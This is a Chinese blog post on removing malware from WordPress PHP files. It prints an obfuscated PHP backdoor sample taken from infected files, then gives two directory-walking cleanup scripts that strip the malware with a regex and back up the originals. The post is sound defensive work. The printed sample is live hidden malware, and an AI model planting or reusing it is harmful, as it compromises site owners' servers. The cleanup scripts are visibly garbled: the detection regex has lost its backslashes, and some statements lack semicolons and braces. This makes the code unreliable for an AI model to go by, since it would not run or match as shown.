PHP实现清除wordpress里恶意代码

时间:2022-04-22 08:35:34

公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。

恶意代码示例

  1. <?php if(!isset($GLOBALS["anuna"])) { $ua=strtolower($_SERVER["HTTP_USER_AGENT"]); if ((! strstr($ua,"msie")) and (! strstr($ua,"rv:11"))) $GLOBALS["anuna"]=1; } ?><?php $bssaiikhvn = '61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y3x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x6x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x78!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x5c%x7825ggg!>!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7x7827jsv%x5c%x78256<C>^#zsfvrx5c%x7827&6<%x5c%x787fw6*%x5c%x78825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>5b:<!%x5c%x7825c:>%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutMSVD!-id%x5c%x7825)uqpI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,x7822:ftmbg39*56A:>:8:|:7#6ufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvuc%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R3#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]139]271]y83]256]y78]248]y83]7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%27pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x, NULL); }ovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cI#64y]552]e7y]#>n%x5c%x7825<#3722!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function f<5h%x5c%x7825%x5c%x782f#0#%x58]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}25Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c2fh%x5c%x7825:<**#57]38y]4tjyf%x5c%x7860opjudovg%x525bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!7825>U<#16,47R57,27R66,#%x5c%*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x5c%x7825!<***f%x5c%x78%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z0un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{x78256<%x5c%x787fw6*%x5c%x787f_%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x782x5c%x7824*!|!%x5c%x7824-%x5c%x78227K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!<*::::::-111112)eobs%x5c%x7861L3]84]y31M6]y3e]81#%x5c%x782f#SFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%xc%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+s60QUUI&c_UOFHB%x5c%x786%x785cq%x5c%x7825%x5c%&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x78c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#<%x5c%xbbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x782)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFx5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x784l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}>!%x5c%x7825tdz)%x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x55c%x787fw6<*K)ftpmdXA6|7**197-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78po)##-!#~<#%x5c%x782f%x5c%x7825c%x7824-%x5c%x7824tvctus)%x5x7825)!>>%x5c%x7822!ftmbg)!gj]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvy76]271]y7d]252]y74]256#<!%x5c%x7825ffc%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x782-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)x7825iN}#-!tussfw)%x5cx7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!2qj%x5c%x78257-K)udfoopdXA%x54<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y66<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:q%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5cx5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c1%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBAL7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5g!)%x5c%x7825z>>2*!%x5c%x7825z>3<!f825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x3]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73"66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6x7824<%x5c%x7825j,,*!|%x5c%x7824c%x7822)7gj6<*QDU%x5c%%x785c%x5c%x7825j:^<!%x5c%x7825w%jfgg($n){return chr(ord($n)-1);} @err81Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x78y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftc%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjud7825!chr((572-480)), bggbbjvwgq($wzmdmzzyol,$bssaiikhvn))); /* kmisvzqckh */ "; $jtgibaqypx=substr($bssaiikhvn,(45338-35225),(40-28)); $jtgibaqypx($yhjbllsvwt, $urvbwkljhb, NULL); $jtgibaqypx=$urvbwkljhb; $jtgibaqypx=(775-654); $bssaiikhvn=$jtgibaqypx-1; ?> 

恶意代码清理程序

  1. <?php 
  2. /** 
  3.  * 文件名:delUnwantedCode.php 
  4.  * 功能:删除FTP里恶意代码 
  5.  * 使用说明: 
  6.  *   请将文件上传到需要清除恶意代码的目录,然后通过CLI或浏览器访问即可,原有被感染的文件会自动备份 
  7.  */ 
  8.  
  9. $path = dirname(__FILE__); #定义需要处理的目录 
  10. $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php');  #定义源文件备份目录,程序过滤恶意代码前,先按原有的路径备份文档到此目录 
  11. $fileType = array('php');  #定义需要处理的文件类型(后缀名),小写 
  12. $search = array('@<?phps*if(!isset($GLOBALS[" u "])).*$bssaiikhvn=$jtgibaqypx-1;s*?>@si');  #定义需要过滤的恶意代码规则 
  13. $search_count = array( 
  14.   'all_file'=>array(), #所有文件 
  15.   'search_file0'=>array(),   #没有恶意代码文件 
  16.   'search_file1'=>array() #含有恶意代码文件 
  17. ); 
  18.  
  19. $filelist = listDir($path,$fileType,false); #读取目录里符合条件文件列表 
  20. if(!empty($filelist)){ 
  21.   foreach ($filelist as $file){ 
  22.     $file = (isset($file['name'])?$file['name']:$file); 
  23.     $search_count['all_file'][] = $file; 
  24.     $fileContent = file_get_contents($file); 
  25.     $compile_fileContent = preg_replace($search, '', $fileContent); 
  26.     if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){ 
  27.       #过滤后文件长度不一致,则表示含有恶意代码(备份文件所在目录不过滤) 
  28.       $search_count['search_file1'][] = $file; 
  29.         
  30.       ############备份原有文件 开始############### 
  31.       $bakFile = str_replace($path, $bak_path, $file); 
  32.       @make_dir(dirname($bakFile)); 
  33.       @file_put_contents($bakFile, $fileContent); 
  34.       ############备份原有文件 结束############### 
  35.         
  36.       #重新写入过滤后的内容到原有的PHP文件 
  37.       @file_put_contents($file, $compile_fileContent); 
  38.     }else
  39.       $search_count['search_file0'][] = $file; 
  40.     } 
  41.   } 
  42.   
  43. #print_r($search_count);die; 
  44. echo sprintf('从%s里共搜索到%s个符合条件的文件,其中%s个存在恶意代码,已处理结束',$path,count($search_count['all_file']), count($search_count['search_file1']));die; 
  45.  
  46. ######################## 
  47. ## 辅助函数 
  48. ######################## 
  49.   
  50. /** 
  51.  * 检查目标文件夹是否存在,如果不存在则自动创建该目录 
  52.  * 
  53.  * @access   public 
  54.  * @param    string   folder   目录路径。不能使用相对于网站根目录的URL 
  55.  * 
  56.  * @return   bool 
  57.  */ 
  58. function make_dir($folder){ 
  59.   $reval = false
  60.   if (!file_exists($folder)){ 
  61.     #如果目录不存在则尝试创建该目录 
  62.     @umask(0); 
  63.   
  64.     #将目录路径拆分成数组 
  65.     preg_match_all('/([^/]*)/?/i', $folder, $atmp); 
  66.   
  67.     #如果第一个字符为/则当作物理路径处理 
  68.     $base = ($atmp[0][0] == '/') ? '/' : ''
  69.   
  70.     #遍历包含路径信息的数组 
  71.     foreach ($atmp[1] AS $val){ 
  72.       if ('' != $val){ 
  73.         $base .= $val; 
  74.         if ('..' == $val || '.' == $val){ 
  75.           #如果目录为.或者..则直接补/继续下一个循环 
  76.           $base .= '/'
  77.           continue
  78.         } 
  79.       }else
  80.         continue
  81.       } 
  82.   
  83.       $base .= '/'
  84.   
  85.       if (!file_exists($base)){ 
  86.         #尝试创建目录,如果创建失败则继续循环 
  87.         if (@mkdir(rtrim($base, '/'), 0777)){ 
  88.           @chmod($base, 0777); 
  89.           $reval = true
  90.         } 
  91.       } 
  92.     } 
  93.   }else
  94.     #路径已经存在。返回该路径是不是一个目录 
  95.     $reval = is_dir($folder); 
  96.   } 
  97.   
  98.   clearstatcache(); 
  99.   
  100.   return $reval; 
  101.  
  102. ########获取目录下所有文件,包括子目录 开始################ 
  103. function listDir($path,$fileType=array(),$fileInfo=true){ 
  104.   $path = str_replace(array('/',''), DIRECTORY_SEPARATOR, $path); 
  105.   if(!file_exists($path)||!is_dir($path)){ 
  106.     return ''
  107.   } 
  108.   if(substr($path, -1,1)==DIRECTORY_SEPARATOR){ 
  109.     $path = substr($path, 0,-1); 
  110.   } 
  111.   $dirList=array(); 
  112.   $dir=opendir($path); 
  113.   while($file=readdir($dir)){ 
  114.     #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过 
  115.     if($file!=='.'&&$file!=='..'){ 
  116.       $file = $path.DIRECTORY_SEPARATOR.$file; 
  117.       if(is_dir($file)){ 
  118.         if(empty($fileType)){ 
  119.           $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file))):$file); 
  120.         } 
  121.         $dirList = array_merge($dirList,listDir($file,$fileType)); 
  122.       }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){ 
  123.         $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($file)):$file); 
  124.       } 
  125.     }; 
  126.   }; 
  127.   closedir($dir); 
  128.   return $dirList; 
  129. ########获取目录下所有文件,包括子目录 结束################ 

删除FTP里恶意代码(支持任意数量的文件处理)

  1. <?php 
  2. /** 
  3.  * 文件名:delAllUnwantedCode.php 
  4.  * 功能:删除FTP里恶意代码(支持任意数量的文件处理) 
  5.  * 使用说明: 
  6.  *   请将文件上传到需要清除恶意代码的目录,然后通过CLI或浏览器访问即可,原有被感染的文件会自动备份 
  7.  */ 
  8. set_time_limit(0);ignore_user_abort(true); 
  9.  
  10. $path = dirname(__FILE__); #定义需要处理的目录 
  11. $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php');  #定义源文件备份目录,程序过滤恶意代码前,先按原有的路径备份文档到此目录 
  12. $fileType = array('php');  #定义需要处理的文件类型(后缀名),小写 
  13. $search = array('@<?phps*if(!isset($GLOBALS[" u "])).*$bssaiikhvn=$jtgibaqypx-1;s*?>@si');  #定义需要过滤的恶意代码规则 
  14. $file_count = array( 
  15.   'all_file'=>0,  #所有文件 
  16.   'filter_file'=>0   #含有恶意代码文件 
  17. ); 
  18.  
  19. replaceUnwantedCode($path); #执行过滤 
  20.  
  21. #print_r($search_count);die; 
  22. echo sprintf('从%s里共搜索到%s个符合条件的文件,其中%s个存在恶意代码已清理,原始文件保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die; 
  23.  
  24. function replaceUnwantedCode($path){ 
  25.   global $bak_path,$fileType,$search,$file_count; 
  26.   $path = str_replace(array('/',''), DIRECTORY_SEPARATOR, $path); 
  27.   if(!file_exists($path)||!is_dir($path)){ 
  28.     return ''
  29.   } 
  30.   if(substr($path, -1,1)==DIRECTORY_SEPARATOR){ 
  31.     $path = substr($path, 0,-1); 
  32.   } 
  33.   $dir=opendir($path); 
  34.   while($file=readdir($dir)){ 
  35.     #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过 
  36.     if($file!=='.'&&$file!=='..'){ 
  37.       $file = $path.DIRECTORY_SEPARATOR.$file; 
  38.       if(is_dir($file)){ 
  39.         replaceUnwantedCode($file); 
  40.       }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){ 
  41.         ################################ 
  42.         @$file_count['all_file']++; 
  43.         $fileContent = file_get_contents($file);  #文件原始代码 
  44.         $compile_fileContent = preg_replace($search, '', $fileContent); #过滤后的内容 
  45.         if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){ 
  46.           #过滤后文件长度不一致,则表示含有恶意代码(备份文件所在目录不过滤) 
  47.           $file_count['filter_file']++; 
  48.               
  49.           ############备份原有文件 开始############### 
  50.           $bakFile = str_replace($path, $bak_path, $file); 
  51.           @make_dir(dirname($bakFile)); 
  52.           @file_put_contents($bakFile, $fileContent); 
  53.           ############备份原有文件 结束############### 
  54.               
  55.           #重新写入过滤后的内容到原有的PHP文件 
  56.           @file_put_contents($file, $compile_fileContent); 
  57.         } 
  58.         ################################ 
  59.         unset($fileContent,$compile_fileContent); 
  60.       } 
  61.     }; 
  62.   }; 
  63.   closedir($dir); 
  64.   return true
  65.  
  66. ######################## 
  67. ## 辅助函数 
  68. ######################## 
  69.   
  70. /** 
  71.  * 检查目标文件夹是否存在,如果不存在则自动创建该目录 
  72.  * 
  73.  * @access   public 
  74.  * @param    string   folder   目录路径。不能使用相对于网站根目录的URL 
  75.  * 
  76.  * @return   bool 
  77.  */ 
  78. function make_dir($folder){ 
  79.   $reval = false
  80.   if (!file_exists($folder)){ 
  81.     #如果目录不存在则尝试创建该目录 
  82.     @umask(0); 
  83.   
  84.     #将目录路径拆分成数组 
  85.     preg_match_all('/([^/]*)/?/i', $folder, $atmp); 
  86.   
  87.     #如果第一个字符为/则当作物理路径处理 
  88.     $base = ($atmp[0][0] == '/') ? '/' : ''
  89.   
  90.     #遍历包含路径信息的数组 
  91.     foreach ($atmp[1] AS $val){ 
  92.       if ('' != $val){ 
  93.         $base .= $val; 
  94.         if ('..' == $val || '.' == $val){ 
  95.           #如果目录为.或者..则直接补/继续下一个循环 
  96.           $base .= '/'
  97.           continue
  98.         } 
  99.       }else
  100.         continue
  101.       } 
  102.   
  103.       $base .= '/'
  104.   
  105.       if (!file_exists($base)){ 
  106.         #尝试创建目录,如果创建失败则继续循环 
  107.         if (@mkdir(rtrim($base, '/'), 0777)){ 
  108.           @chmod($base, 0777); 
  109.           $reval = true
  110.         } 
  111.       } 
  112.     } 
  113.   }else
  114.     #路径已经存在。返回该路径是不是一个目录 
  115.     $reval = is_dir($folder); 
  116.   } 
  117.   
  118.   clearstatcache(); 
  119.   
  120.   return $reval;